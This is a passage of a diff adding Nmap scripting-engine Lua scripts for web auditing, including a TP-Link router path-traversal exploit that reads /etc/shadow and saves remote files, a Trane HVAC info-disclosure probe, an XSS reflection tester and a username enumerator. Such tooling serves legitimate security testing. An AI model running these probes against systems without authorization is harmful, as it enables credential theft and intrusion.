+-- @args http-tplink-dir-traversal.rfile Remote file to download. Default: /etc/passwd
+-- @args http-tplink-dir-traversal.outfile If set it saves the remote file to this location.
+--
+-- Other arguments you might want to use with this script:
+-- * http.useragent - Sets user agent
+--
+
+author = "Paulino Calderon <calderon@websec.mx>"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"vuln", "exploit"}
+
+local http = require "http"
+local io = require "io"
+local shortport = require "shortport"
+local stdnse = require "stdnse"
+local string = require "string"
+local vulns = require "vulns"
+
+portrule = shortport.http
+
+local TRAVERSAL_QRY = "/help/../.."
+local DEFAULT_REMOTE_FILE = "/etc/shadow"
+
+---
+--Writes string to file
+--Taken from: hostmap.nse
+local function write_file(filename, contents)
+ local f, err = io.open(filename, "w")
+ if not f then
+ return f, err
+ end
+ f:write(contents)
+ f:close()
+ return true
+end
+
+---
+-- Checks if device is vulnerable by requesting the shadow file and looking for the pattern 'root:'
+---
+local function check_vuln(host, port)
+ local evil_uri = TRAVERSAL_QRY..DEFAULT_REMOTE_FILE
+ stdnse.debug1("HTTP GET %s", evil_uri)
+ local response = http.get(host, port, evil_uri)
+ if response.body and response.status==200 and response.body:match("root:") then
+ stdnse.debug1("Pattern 'root:' found.")
+ return true
+ end
+ return false
+end
+
+---
+-- MAIN - The script checks for vulnerable devices by attempting to read "etc/shadow" and finding the pattern "root:".
+---
+action = function(host, port)
+ local response, rfile, rfile_content, filewrite
+ local output_lines = {}
+
+ filewrite = stdnse.get_script_args(SCRIPT_NAME..".outfile")
+ rfile = stdnse.get_script_args(SCRIPT_NAME..".rfile") or DEFAULT_REMOTE_FILE
+
+ local vuln = {
+ title = 'Path traversal vulnerability in several TP-Link wireless routers',
+ state = vulns.STATE.NOT_VULN,
+ description = [[
+Some TP-Link wireless routers are vulnerable to a path traversal vulnerability that allows attackers to read configurations or any other file in the device.
+This vulnerability can be exploited without authentication.
+Confirmed vulnerable models: WR740N, WR740ND, WR2543ND
+Possibly vulnerable (Based on the same firmware): WR743ND,WR842ND,WA-901ND,WR941N,WR941ND,WR1043ND,MR3220,MR3020,WR841N.]],
+ references = {
+ 'http://websec.ca/advisories/view/path-traversal-vulnerability-tplink-wdr740'
+ },
+ dates = {
+ disclosure = {year = '2012', month = '06', day = '18'},
+ },
+ }
+ local vuln_report = vulns.Report:new(SCRIPT_NAME, host, port)
+
+ local is_vulnerable = check_vuln(host, port)
+ if is_vulnerable then
+ vuln.state = vulns.STATE.EXPLOIT
+ response = http.get(host, port, TRAVERSAL_QRY..rfile)
+ if response.body and response.status==200 then
+ stdnse.debug2("%s", response.body)
+ if response.body:match("Error") then
+ stdnse.debug1("[Error] File not found:%s", rfile)
+ vuln.extra_info = string.format("%s not found.\n", rfile)
+ return vuln_report:make_output(vuln)
+ end
+ local _, _, rfile_content = string.find(response.body, 'SCRIPT>(.*)')
+ vuln.extra_info = rfile.." :\n"..rfile_content
+ if filewrite then
+ local status, err = write_file(filewrite, rfile_content)
+ if status then
+ vuln.extra_info = string.format("%s%s saved to %s\n", vuln.extra_info, rfile, filewrite)
+ else
+ vuln.extra_info = string.format("%sError saving %s to %s: %s\n", vuln.extra_info, rfile, filewrite, err)
+ end
+ end
+ end
+ end
+ return vuln_report:make_output(vuln)
+end
diff --git a/scripts/http-trace.nse b/scripts/http-trace.nse
new file mode 100644
index 0000000..42967b3
--- /dev/null
+++ b/scripts/http-trace.nse
@@ -0,0 +1,72 @@
+local http = require "http"
+local nmap = require "nmap"
+local shortport = require "shortport"
+local stdnse = require "stdnse"
+local table = require "table"
+
+description = [[
+Sends an HTTP TRACE request and shows if the method TRACE is enabled. If debug
+is enabled, it returns the header fields that were modified in the response.
+]]
+
+---
+-- @usage
+-- nmap --script http-trace -d <ip>
+--
+-- @output
+-- 80/tcp open http syn-ack
+-- | http-trace: TRACE is enabled
+-- | Headers:
+-- | Date: Tue, 14 Jun 2011 04:41:28 GMT
+-- | Server: Apache
+-- | Connection: close
+-- | Transfer-Encoding: chunked
+-- |_Content-Type: message/http
+--
+-- @args http-trace.path Path to URI
+
+author = "Paulino Calderon <calderon@websec.mx>"
+
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+
+categories = {"vuln", "discovery", "safe"}
+
+
+portrule = shortport.http
+
+--- Validates the HTTP response and returns header list
+--@param response The HTTP response
+--@param response_headers The HTTP response headers
+local validate = function(response, response_headers)
+ local output_lines = {}
+ if ( not(response) ) then
+ return
+ end
+ if not(response:match("HTTP/1.[01] 200") or response:match("TRACE / HTTP/1.[01]")) then
+ return
+ else
+ output_lines[ #output_lines+1 ] = "TRACE is enabled"
+ end
+ if nmap.verbosity() >= 2 then
+ output_lines[ #output_lines+1 ]= "Headers:"
+ for _, value in pairs(response_headers) do
+ output_lines [ #output_lines+1 ] = value
+ end
+ end
+ if #output_lines > 0 then
+ return table.concat(output_lines, "\n")
+ end
+end
+
+---
+--MAIN
+---
+action = function(host, port)
+ local path = stdnse.get_script_args("http-trace.path") or "/"
+
+ local req = http.generic_request(host, port, "TRACE", path)
+ if (req.status == 301 or req.status == 302) and req.header["location"] then
+ req = http.generic_request(host, port, "TRACE", req.header["location"])
+ end
+ return validate(req.body, req.rawheader)
+end
diff --git a/scripts/http-traceroute.nse b/scripts/http-traceroute.nse
new file mode 100644
index 0000000..39a3506
--- /dev/null
+++ b/scripts/http-traceroute.nse
@@ -0,0 +1,180 @@
+local http = require "http"
+local nmap = require "nmap"
+local shortport = require "shortport"
+local stdnse = require "stdnse"
+local table = require "table"
+
+description = [[
+Exploits the Max-Forwards HTTP header to detect the presence of reverse proxies.
+
+The script works by sending HTTP requests with values of the Max-Forwards HTTP
+header varying from 0 to 2 and checking for any anomalies in certain response
+values such as the status code, Server, Content-Type and Content-Length HTTP
+headers and body values such as the HTML title.
+
+Based on the work of:
+* Nicolas Gregoire (nicolas.gregoire@agarri.fr)
+* Julien Cayssol (tools@aqwz.com)
+
+For more information, see:
+* http://www.agarri.fr/kom/archives/2011/11/12/traceroute-like_http_scanner/index.html
+]]
+
+---
+-- @args http-traceroute.path The path to send requests to. Defaults to <code>/</code>.
+-- @args http-traceroute.method HTTP request method to use. Defaults to <code>GET</code>.
+-- Among other values, TRACE is probably the most interesting.
+--
+-- @usage
+-- nmap --script=http-traceroute <targets>
+--
+--@output
+-- PORT STATE SERVICE REASON
+-- 80/tcp open http syn-ack
+-- | http-traceroute:
+-- | HTML title
+-- | Hop #1: Twitter / Over capacity
+-- | Hop #2: t.co / Twitter
+-- | Hop #3: t.co / Twitter
+-- | Status Code
+-- | Hop #1: 502
+-- | Hop #2: 200
+-- | Hop #3: 200
+-- | server
+-- | Hop #1: Apache
+-- | Hop #2: hi
+-- | Hop #3: hi
+-- | content-type
+-- | Hop #1: text/html; charset=UTF-8
+-- | Hop #2: text/html; charset=utf-8
+-- | Hop #3: text/html; charset=utf-8
+-- | content-length
+-- | Hop #1: 4833
+-- | Hop #2: 3280
+-- | Hop #3: 3280
+-- | last-modified
+-- | Hop #1: Thu, 05 Apr 2012 00:19:40 GMT
+-- | Hop #2
+-- |_ Hop #3
+
+author = "Hani Benhabiles"
+
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+
+categories = {"discovery", "safe"}
+
+
+portrule = shortport.service("http")
+
+--- Attempts to extract the html title
+-- from an HTTP response body.
+--@param responsebody Response's body.
+local function extract_title (responsebody)
+ return responsebody:match "<title>(.-)</title>"
+end
+
+--- Attempts to extract the X-Forwarded-For header
+-- from an HTTP response body in case of TRACE requests.
+--@param responsebody Response's body.
+local function extract_xfwd (responsebody)
+ return responsebody:match "X-Forwarded-For: [^\r\n]*"
+end
+
+--- Check for differences in response headers, status code
+-- and html title between responses.
+--@param responses Responses to compare.
+--@param method Used HTTP method.
+local compare_responses = function(responses, method)
+ local response, key
+ local results = {}
+ local result = {}
+ local titles = {}
+ local interesting_headers = {
+ 'server',
+ 'via',
+ 'x-via',
+ 'x-forwarded-for',
+ 'content-type',
+ 'content-length',
+ 'last-modified',
+ 'location',
+ }
+
+ -- Check page title
+ for key,response in pairs(responses) do
+ titles[key] = extract_title(response.body)
+ end
+ if titles[1] ~= titles[2] or
+ titles[1] ~= titles[3] then
+
+ table.insert(results, 'HTML title')
+ for key,response in pairs(responses) do
+ table.insert(result, "Hop #" .. key .. ": " .. titles[key])
+ end
+ table.insert(results, result)
+ end
+
+ -- Check status code
+ if responses[1].status == 502 or
+ responses[1].status == 483 or
+ responses[1].status ~= responses[2].status or
+ responses[1].status ~= responses[3].status then
+
+ result = {}
+ table.insert(results, 'Status Code')
+ for key,response in pairs(responses) do
+ table.insert(result, "Hop #" .. key .. ": " .. tostring(response.status))
+ end
+ table.insert(results, result)
+ end
+
+ -- Check headers
+ for _,header in pairs(interesting_headers) do
+ -- Compare header of different responses
+ if responses[1].header[header] ~= responses[2].header[header] or
+ responses[1].header[header] ~= responses[3].header[header] then
+
+ result = {}
+ table.insert(results, header)
+ for key,response in pairs(responses) do
+ if response.header[header] ~= nil then
+ table.insert(result, "Hop #" .. key .. ": " .. tostring(response.header[header]))
+ else
+ table.insert(result, "Hop #" .. key)
+ end
+ end
+ table.insert(results, result)
+ end
+ end
+
+ -- Check for X-Forwarded-For in the response body
+ -- when using TRACE method
+ if method == "TRACE" then
+ local xfwd = extract_xfwd(responses[1].body)
+ if xfwd ~= nil then
+ table.insert(results, xfwd)
+ end
+ end
+
+ return results
+end
+
+action = function(host, port)
+ local path = stdnse.get_script_args(SCRIPT_NAME .. '.path') or "/"
+ local method = stdnse.get_script_args(SCRIPT_NAME .. '.method') or "GET"
+ local responses = {}
+ local detected = "Possible reverse proxy detected."
+
+ for i = 0,2 do
+ local response = http.generic_request(host, port, method, path, { ['header'] = { ['Max-Forwards'] = i }, ['no_cache'] = true})
+ table.insert(responses, response)
+ end
+
+ -- Check results
+ local results = compare_responses(responses, method)
+ if results ~= nil and nmap.verbosity() == 1 then
+ return stdnse.format_output(true,detected)
+ else
+ return stdnse.format_output(true,results)
+ end
+end
diff --git a/scripts/http-trane-info.nse b/scripts/http-trane-info.nse
new file mode 100644
index 0000000..911c2ec
--- /dev/null
+++ b/scripts/http-trane-info.nse
@@ -0,0 +1,167 @@
+local nmap = require "nmap"
+local http = require "http"
+local stdnse = require "stdnse"
+local shortport = require "shortport"
+local table = require "table"
+
+description = [[
+Attempts to obtain information from Trane Tracer SC devices. Trane Tracer SC
+ is an intelligent field panel for communicating with HVAC equipment controllers
+ deployed across several sectors including commercial facilities and others.
+
+The information is obtained from the web server that exposes sensitive content to
+ unauthenticated users.
+
+Tested on Trane Tracer SC version 4.40.1211 and below.
+
+References:
+* http://websec.mx/publicacion/blog/Scripts-de-Nmap-para-Trane-Tracer-SC-HVAC
+]]
+
+---
+-- @usage nmap -p80 --script trane-info.nse <target>
+--
+-- @output
+-- | http-trane-info:
+-- | serverName: XXXXX
+-- | serverTime: 2017-09-24T01:03:08-05:00
+-- | serverBootTime: 2017-08-03T02:06:39-05:00
+-- | vendorName: Trane
+-- | productName: Tracer SC
+-- | productVersion: v4.20.1128 (release)
+-- | kernelVersion: 2.6.30_HwVer12AB-hydra
+-- | hardwareType: HwVer12AB
+-- | hardwareSerialNumber: XXXXX
+-- | devices:
+-- |
+-- | isOffline: false
+-- | equipmentUri: /equipment/dac/generic/1
+-- | displayName: RTU-01
+-- | equipmentFamily: AirHandler
+-- | roleDocument: BCI-I_9a8c9b8116cd392fc0b4a233405f3f5964fa6b885809c810a8d0ed5478XXXXXX__RTU_Ipak_VAV
+-- | deviceName: RTU-01
+--
+-- @xmloutput
+-- <elem key="serverName">XXXXX </elem>
+-- <elem key="serverTime">2017-09-24T01:05:28-05:00 </elem>
+-- <elem key="serverBootTime">2017-08-03T02:06:39-05:00 </elem>
+-- <elem key="vendorName">Trane </elem>
+-- <elem key="productName">Tracer SC </elem>
+-- <elem key="productVersion">v4.20.1128 (release) </elem>
+-- <elem key="kernelVersion">2.6.30_HwVer12AB-hydra </elem>
+-- <elem key="hardwareType">HwVer12AB </elem>
+-- <elem key="hardwareSerialNumber">XXXXX </elem>
+-- <table key="devices">
+-- <table>
+-- <elem key="equipmentUri">/equipment/dac/generic/1 </elem>
+-- <elem key="equipmentFamily">AirHandler </elem>
+-- <elem key="deviceName">RTU-01 </elem>
+-- <elem key="isOffline">false </elem>
+-- <elem key="roleDocument">BCI-I_9a8c9b8116cd392fc0b4a233405f3f5964fa6b885809c810a8d0ed5478XXXXX__RTU_Ipak_VAV </elem>
+-- <elem key="displayName">RTU-01 </elem>
+-- </table></table>
+---
+
+author = "Pedro Joaquin <pjoaquin()websec.mx>"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"discovery", "version", "safe"}
+
+portrule = function(host, port)
+ return (shortport.http(host,port) and nmap.version_intensity() >= 7)
+end
+
+local function GetInformation(host, port)
+ local output = stdnse.output_table()
+ --Get information from /evox/about
+ local uri = '/evox/about'
+ local response = http.get(host, port, uri)
+ if response['status-line'] and response['status-line']:match("200") then
+ --Verify parsing of XML from /evox/about
+ local deviceType = response['body']:match('serverName" val=([^<]*)/>')
+ if not deviceType then
+ stdnse.debug1("Problem with XML parsing of /evox/about")
+ return nil,"Problem with XML parsing of /evox/about"
+ end
+
+ --Parse information from /evox/about
+ local keylist = {"serverName","serverTime","serverBootTime","vendorName","productName","productVersion","kernelVersion","hardwareType","hardwareSerialNumber"}
+ for _,key in ipairs(keylist) do
+ stdnse.debug2("Looking for : "..key)
+ output[key] = response['body']:match(key..'" val=([^<]*)/>')
+ stdnse.debug2("Found : "..output[key])
+ output[key] = output[key]:gsub('"', "")
+ end
+
+
+
+ --Get information from /evox/equipment/installedSummary
+ local uri = '/evox/equipment/installedSummary'
+ local response = http.get(host, port, uri)
+ if response['status-line'] and response['status-line']:match("200") then
+ --Verify parsing of XML from /evox/equipment/installedSummary
+ local error = response['body']:match('Error code: 00017')
+ if error then
+ stdnse.debug1("/evox/equipment/installedSummary is not available")
+ end
+ local equipmentUri = response['body']:match('equipmentUri" val=([^<]*)/>')
+ if not equipmentUri then
+ stdnse.debug1("Problem with XML parsing")
+ end
+ if not error then
+ --Parse information from /evox/equipment/installedSummary
+ local keylist = {"equipmentUri","displayName","deviceName","equipmentFamily","roleDocument","isOffline"}
+ local _,lastequipmentUri = response['body']:find(".*equipmentUri")
+ stdnse.debug2("lastequipmentUri : "..lastequipmentUri)
+ local count = 1
+ local nextequipmentUri = 1
+ local devices = {}
+ while nextequipmentUri < lastequipmentUri do
+ local device = {}
+ for _,key in ipairs(keylist) do
+ stdnse.debug2("Looking for : "..key)
+ device[key] = response['body']:match(key..'" val=([^<]*)/>',nextequipmentUri)
+ if not device[key] then
+ device[key] = "Not available"
+ else
+ device[key] = device[key]:gsub('"', "")
+ stdnse.debug2("Found : ".. device[key])
+ end
+ end
+ _,nextequipmentUri = response['body']:find("equipmentUri",nextequipmentUri)
+ table.insert(devices, device)
+ count = count + 1
+ end
+ output["devices"] = devices
+ end
+ end
+ stdnse.debug2("status-line: "..response['status-line'])
+ local error = response['status-line']:match('Error')
+ if error then
+ stdnse.debug2("Request returned a network error.")
+ return nil, "Request returned a network error."
+ end
+
+ -- Set the port version
+ port.version.name = "http"
+ port.version.name_confidence = 10
+ port.version.product = output["productName"]
+ port.version.version = output["productVersion"]
+ port.version.devicetype = output["hardwareType"]
+ table.insert(port.version.cpe, "cpe:/h:".. output["vendorName"] .. ":" .. output["productName"])
+
+ nmap.set_port_version(host, port, "hardmatched")
+ return output
+ end
+end
+
+action = function(host,port)
+
+ -- Identify servers that answer 200 to invalid HTTP requests and exit as these would invalidate the tests
+ local status_404, result_404, _ = http.identify_404(host,port)
+ if ( status_404 and result_404 == 200 ) then
+ stdnse.debug1("Exiting due to ambiguous response from web server on %s:%s. All URIs return status 200.", host.ip, port.number)
+ return nil
+ end
+
+ return GetInformation(host, port)
+end
diff --git a/scripts/http-unsafe-output-escaping.nse b/scripts/http-unsafe-output-escaping.nse
new file mode 100644
index 0000000..7d1bc7e
--- /dev/null
+++ b/scripts/http-unsafe-output-escaping.nse
@@ -0,0 +1,160 @@
+local http = require "http"
+local httpspider = require "httpspider"
+local shortport = require "shortport"
+local stdnse = require "stdnse"
+local table = require "table"
+local url = require "url"
+
+description = [[
+Spiders a website and attempts to identify output escaping problems
+where content is reflected back to the user. This script locates all
+parameters, ?x=foo&y=bar and checks if the values are reflected on the
+page. If they are indeed reflected, the script will try to insert
+ghz>hzx"zxc'xcv and check which (if any) characters were reflected
+back onto the page without proper html escaping. This is an
+indication of potential XSS vulnerability.
+]]
+
+---
+-- @usage
+-- nmap --script=http-unsafe-output-escaping <target>
+--
+-- @output
+-- PORT STATE SERVICE REASON
+-- | http-unsafe-output-escaping:
+-- | Characters [> " '] reflected in parameter kalle at http://foobar.gazonk.se/xss.php?foo=bar&kalle=john
+-- |_ Characters [> " '] reflected in parameter foo at http://foobar.gazonk.se/xss.php?foo=bar&kalle=john
+--
+-- @args http-unsafe-output-escaping.maxdepth the maximum amount of directories beneath
+-- the initial url to spider. A negative value disables the limit.
+-- (default: 3)
+-- @args http-unsafe-output-escaping.maxpagecount the maximum amount of pages to visit.
+-- A negative value disables the limit (default: 20)
+-- @args http-unsafe-output-escaping.url the url to start spidering. This is a URL
+-- relative to the scanned host eg. /default.html (default: /)
+-- @args http-unsafe-output-escaping.withinhost only spider URLs within the same host.
+-- (default: true)
+-- @args http-unsafe-output-escaping.withindomain only spider URLs within the same
+-- domain. This widens the scope from <code>withinhost</code> and can
+-- not be used in combination. (default: false)
+--
+-- @see http-dombased-xss.nse
+-- @see http-stored-xss.nse
+-- @see http-phpself-xss.nse
+-- @see http-xssed.nse
+
+author = "Martin Holst Swende"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"discovery", "intrusive"}
+
+
+portrule = shortport.http
+
+local dbg = stdnse.debug2
+
+local function getHostPort(parsed)
+ return parsed.host, parsed.port or url.get_default_port(parsed.scheme)
+end
+
+local function getReflected(parsed, r)
+ local reflected_values,not_reflected_values = {},{}
+ local count = 0
+ -- Now, we need to check the parameters and keys
+ local q = url.parse_query(parsed.query)
+ -- Check the values (and keys) and see if they are reflected in the page
+ for k,v in pairs(q) do
+ if r.response.body and r.response.body:find(v, 1, true) then
+ dbg("Reflected content %s=%s", k,v)
+ reflected_values[k] = v
+ count = count +1
+ else
+ not_reflected_values[k] = v
+ end
+ end
+ if count > 0 then
+ return reflected_values,not_reflected_values,q
+ end
+end
+
+local function addPayload(v)
+ return v.."ghz>hzx\"zxc'xcv"
+end
+
+local function createMinedLinks(reflected_values, all_values)
+ local new_links = {}
+ for k,v in pairs(reflected_values) do
+ -- First of all, add the payload to the reflected param
+ local urlParams = { [k] = addPayload(v)}
+ for k2,v2 in pairs(all_values) do
+ if k2 ~= k then
+ urlParams[k2] = v2
+ end
+ end
+ new_links[k] = url.build_query(urlParams)
+ end
+ return new_links
+end
+
+local function locatePayloads(response)
+ local results = {}
+ if response.body:find("ghz>hzx") then table.insert(results,">") end
+ if response.body:find('hzx"zxc') then table.insert(results,'"') end
+ if response.body:find("zxc'xcv") then table.insert(results,"'") end
+ return #results > 0 and results
+end
+
+local function visitLinks(host, port,parsed,new_links, results,original_url)
+ for k,query in pairs(new_links) do
+ local ppath = url.parse_path(parsed.path or "")
+ local url = url.build_path(ppath)
+ if parsed.params then url = url .. ";" .. parsed.params end
+ url = url .. "?" .. query
+ dbg("Url to visit: %s", url)
+ local response = http.get(host, port, url)
+ local result = locatePayloads(response)
+ if result then
+ table.insert(results, ("Characters [%s] reflected in parameter %s at %s"):format(table.concat(result," "),k, original_url))
+ end
+ end
+end
+
+action = function(host, port)
+
+ local crawler = httpspider.Crawler:new(host, port, nil, { scriptname = SCRIPT_NAME } )
+ crawler:set_timeout(10000)
+
+ local results = {}
+ while(true) do
+ local status, r = crawler:crawl()
+ -- if the crawler fails it can be due to a number of different reasons
+ -- most of them are "legitimate" and should not be reason to abort
+ if ( not(status) ) then
+ if ( r.err ) then
+ return stdnse.format_output(false, r.reason)
+ else
+ break
+ end
+ end
+
+ -- parse the returned url
+ local parsed = url.parse(tostring(r.url))
+ -- We are only interested in links which have parameters
+ if parsed.query and #parsed.query > 0 then
+ local host, port = getHostPort(parsed)
+ local reflected_values,not_reflected_values,all_values = getReflected(parsed, r)
+
+
+ -- Now,were any reflected ?
+ if reflected_values then
+ -- Ok, create new links with payloads in the reflected slots
+ local new_links = createMinedLinks(reflected_values, all_values)
+
+ -- Now, if we had 2 reflected values, we should have 2 new links to fetch
+ visitLinks(host, port,parsed, new_links, results,tostring(r.url))
+ end
+ end
+ end
+ if ( #results> 0 ) then
+ return stdnse.format_output(true, results)
+ end
+end
diff --git a/scripts/http-useragent-tester.nse b/scripts/http-useragent-tester.nse
new file mode 100644
index 0000000..d6e0aca
--- /dev/null
+++ b/scripts/http-useragent-tester.nse
@@ -0,0 +1,193 @@
+description = [[
+Checks if various crawling utilities are allowed by the host.
+]]
+
+---
+-- @usage nmap -p80 --script http-useragent-tester.nse <host>
+--
+-- This script sets various User-Agent headers that are used by different
+-- utilities and crawling libraries (for example CURL or wget). If the request is
+-- redirected to a page different than a (valid) browser request would be, that
+-- means that this utility is banned.
+--
+-- @args http-useragent-tester.useragents A table with more User-Agent headers.
+-- Default: nil
+--
+-- @output
+-- PORT STATE SERVICE REASON
+-- 80/tcp open http syn-ack
+-- | http-useragent-tester:
+-- | Status for browser useragent: 200
+-- | Redirected To: https://www.example.com/
+-- | Allowed User Agents:
+-- | Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)
+-- | libwww
+-- | lwp-trivial
+-- | libcurl-agent/1.0
+-- | PHP/
+-- | GT::WWW
+-- | Snoopy
+-- | MFC_Tear_Sample
+-- | HTTP::Lite
+-- | PHPCrawl
+-- | URI::Fetch
+-- | Zend_Http_Client
+-- | http client
+-- | PECL::HTTP
+-- | WWW-Mechanize/1.34
+-- | Change in Status Code:
+-- | Python-urllib/2.5: 403
+-- |_ Wget/1.13.4 (linux-gnu): 403
+--
+-- @xmloutput
+-- <elem key="Status for browser useragent">200</elem>
+-- <elem key="Redirected To">https://www.example.com/</elem>
+-- <table key="Allowed User Agents">
+-- <elem>Mozilla/5.0 (compatible; Nmap Scripting Engine;
+-- https://nmap.org/book/nse.html)</elem>
+-- <elem>libwww</elem>
+-- <elem>lwp-trivial</elem>
+-- <elem>libcurl-agent/1.0</elem>
+-- <elem>PHP/</elem>
+-- <elem>GT::WWW</elem>
+-- <elem>Snoopy</elem>
+-- <elem>MFC_Tear_Sample</elem>
+-- <elem>HTTP::Lite</elem>
+-- <elem>PHPCrawl</elem>
+-- <elem>URI::Fetch</elem>
+-- <elem>Zend_Http_Client</elem>
+-- <elem>http client</elem>
+-- <elem>PECL::HTTP</elem>
+-- <elem>WWW-Mechanize/1.34</elem>
+-- </table>
+-- <table key="Change in Status Code">
+-- <elem key="Python-urllib/2.5">403</elem>
+-- <elem key="Wget/1.13.4 (linux-gnu)">403</elem>
+-- </table>
+---
+
+categories = {"discovery", "safe"}
+author = "George Chatzisofroniou"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+
+local http = require "http"
+local target = require "target"
+local httpspider = require "httpspider"
+local shortport = require "shortport"
+local stdnse = require "stdnse"
+local table = require "table"
+local url = require "url"
+
+getLastLoc = function(host, port, useragent)
+
+ local options
+
+ options = {header={}, no_cache=true, bypass_cache=true, redirect_ok=function(host,port)
+ local c = 3
+ return function(url)
+ if ( c==0 ) then return false end
+ c = c - 1
+ return true
+ end
+ end }
+
+
+ options['header']['User-Agent'] = useragent
+
+ stdnse.debug2("Making a request with User-Agent: " .. useragent)
+
+ local response = http.get(host, port, '/', options)
+ if response.location then
+ return response.location[#response.location],response.status or false, response.status
+ end
+
+ return false, response.status
+
+end
+
+portrule = shortport.port_or_service( {80, 443}, {"http", "https"}, "tcp", "open")
+
+action = function(host, port)
+
+ local moreagents = stdnse.get_script_args("http-useragent-tester.useragents") or nil
+ local newtargets = stdnse.get_script_args("newtargets") or nil
+ local output = stdnse.output_table()
+
+ -- We don't crawl any site. We initialize a crawler to use its iswithinhost method.
+ local crawler = httpspider.Crawler:new(host, port, '/', { scriptname = SCRIPT_NAME } )
+
+ local HTTPlibs = {
+ http.USER_AGENT,
+ "libwww",
+ "lwp-trivial",
+ "libcurl-agent/1.0",
+ "PHP/",
+ "Python-urllib/2.5",
+ "GT::WWW",
+ "Snoopy",
+ "MFC_Tear_Sample",
+ "HTTP::Lite",
+ "PHPCrawl",
+ "URI::Fetch",
+ "Zend_Http_Client",
+ "http client",
+ "PECL::HTTP",
+ "Wget/1.13.4 (linux-gnu)",
+ "WWW-Mechanize/1.34"
+ }
+
+ if moreagents then
+ for _, l in ipairs(moreagents) do
+ table.insert(HTTPlibs, l)
+ end
+ end
+
+ -- We perform a normal browser request and get the returned location
+ local loc, status = getLastLoc(host, port, "Mozilla/5.0 (X11; Linux i686) AppleWebKit/537.17 (KHTML, like Gecko) Chrome/24.0.1312.57 Safari/537.17")
+ output['Status for browser useragent'] = status
+
+ if loc then
+ output['Redirected To'] = loc
+ end
+
+ local allowed, forb, status_changed = {}, {}, {}
+
+ for _, l in ipairs(HTTPlibs) do
+
+ local libloc, libstatus = getLastLoc(host, port, l)
+
+ -- If the library's request returned a different location, that means the request was redirected somewhere else, hence is forbidden.
+ if libloc and loc ~= libloc then
+ forb[l] = {}
+ local libhost = url.parse(libloc)
+ if not crawler:iswithinhost(libhost.host) then
+ forb[l]['Different Host'] = tostring(libloc)
+ if newtargets then
+ target.add(libhost.host)
+ end
+ else
+ forb[l]['Same Host'] = tostring(libloc)
+ end
+ elseif status ~= libstatus then
+ status_changed[l] = libstatus
+ else
+ table.insert(allowed, l)
+ end
+
+ end
+
+ if next(allowed) ~= nil then
+ output['Allowed User Agents'] = allowed
+ end
+
+ if next(forb) ~= nil then
+ output['Forbidden/Redirected User Agents'] = forb
+ end
+
+ if next(status_changed) ~= nil then
+ output['Change in Status Code'] = status_changed
+ end
+
+ return output
+
+end
diff --git a/scripts/http-userdir-enum.nse b/scripts/http-userdir-enum.nse
new file mode 100644
index 0000000..37c3595
--- /dev/null
+++ b/scripts/http-userdir-enum.nse
@@ -0,0 +1,133 @@
+local datafiles = require "datafiles"
+local http = require "http"
+local nmap = require "nmap"
+local shortport = require "shortport"
+local stdnse = require "stdnse"
+local string = require "string"
+local table = require "table"
+
+description = [[
+Attempts to enumerate valid usernames on web servers running with the mod_userdir
+module or similar enabled.
+
+The Apache mod_userdir module allows user-specific directories to be accessed
+using the http://example.com/~user/ syntax. This script makes http requests in
+order to discover valid user-specific directories and infer valid usernames. By
+default, the script will use Nmap's
+<code>nselib/data/usernames.lst</code>. An HTTP response
+status of 200 or 403 means the username is likely a valid one and the username
+will be output in the script results along with the status code (in parentheses).
+
+This script makes an attempt to avoid false positives by requesting a directory
+which is unlikely to exist. If the server responds with 200 or 403 then the
+script will not continue testing it.
+
+CVE-2001-1013: http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2001-1013.
+]]
+
+---
+-- @args http-userdir-enum.users The filename of a username list.
+-- @args http-userdir-enum.limit The maximum number of users to check.
+--
+-- @output
+-- 80/tcp open http syn-ack Apache httpd 2.2.9
+-- |_ http-userdir-enum: Potential Users: root (403), user (200), test (200)
+
+author = "jah"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"auth", "intrusive"}
+
+
+
+portrule = shortport.http
+
+local function fail (err) return stdnse.format_output(false, err) end
+
+action = function(host, port)
+ local limit = stdnse.get_script_args(SCRIPT_NAME .. '.limit')
+
+ if(not nmap.registry.userdir) then
+ init()
+ end
+ local usernames = nmap.registry.userdir
+
+ -- speedy exit if no usernames
+ if(#usernames == 0) then
+ return fail("Didn't find any users to test (should be in nselib/data/usernames.lst)")
+ end
+
+ -- Identify servers that answer 200 to invalid HTTP requests and exit as these would invalidate the tests
+ local status_404, result_404, known_404 = http.identify_404(host,port)
+ if ( status_404 and result_404 == 200 ) then
+ stdnse.debug1("Exiting due to ambiguous response from web server on %s:%s. All URIs return status 200.", host.ip, port.number)
+ return nil
+ end
+
+ -- Check if we can use HEAD requests
+ local use_head = http.can_use_head(host, port, result_404)
+
+ -- Queue up the checks
+ local all = {}
+ local i
+ for i = 1, #usernames, 1 do
+ if(nmap.registry.args.limit and i > tonumber(nmap.registry.args.limit)) then
+ stdnse.debug1("Reached the limit (%d), stopping", nmap.registry.args.limit)
+ break;
+ end
+
+ if(use_head) then
+ all = http.pipeline_add("/~" .. usernames[i], nil, all, 'HEAD')
+ else
+ all = http.pipeline_add("/~" .. usernames[i], nil, all, 'GET')
+ end
+ end
+
+ local results = http.pipeline_go(host, port, all)
+
+ -- Check for http.pipeline error
+ if(results == nil) then
+ stdnse.debug1("http.pipeline returned nil")
+ return fail("http.pipeline returned nil")
+ end
+
+ local found = {}
+ for i, data in pairs(results) do
+ if(http.page_exists(data, result_404, known_404, "/~" .. usernames[i], true)) then
+ stdnse.debug1("Found a valid user: %s", usernames[i])
+ table.insert(found, usernames[i])
+ end
+ end
+
+ if(#found > 0) then
+ return string.format("Potential Users: %s", table.concat(found, ", "))
+ elseif(nmap.debugging() > 0) then
+ return "Didn't find any users!"
+ end
+
+ return nil
+end
+
+
+
+---
+-- Parses a file containing usernames (1 per line), defaulting to
+-- "nselib/data/usernames.lst" and stores the resulting array of usernames in
+-- the registry for use by all threads of this script. This means file access
+-- is done only once per Nmap invocation. init() also adds a random string to
+-- the array (in the first position) to attempt to catch false positives.
+-- @return nil
+
+function init()
+ local customlist = stdnse.get_script_args(SCRIPT_NAME .. '.users')
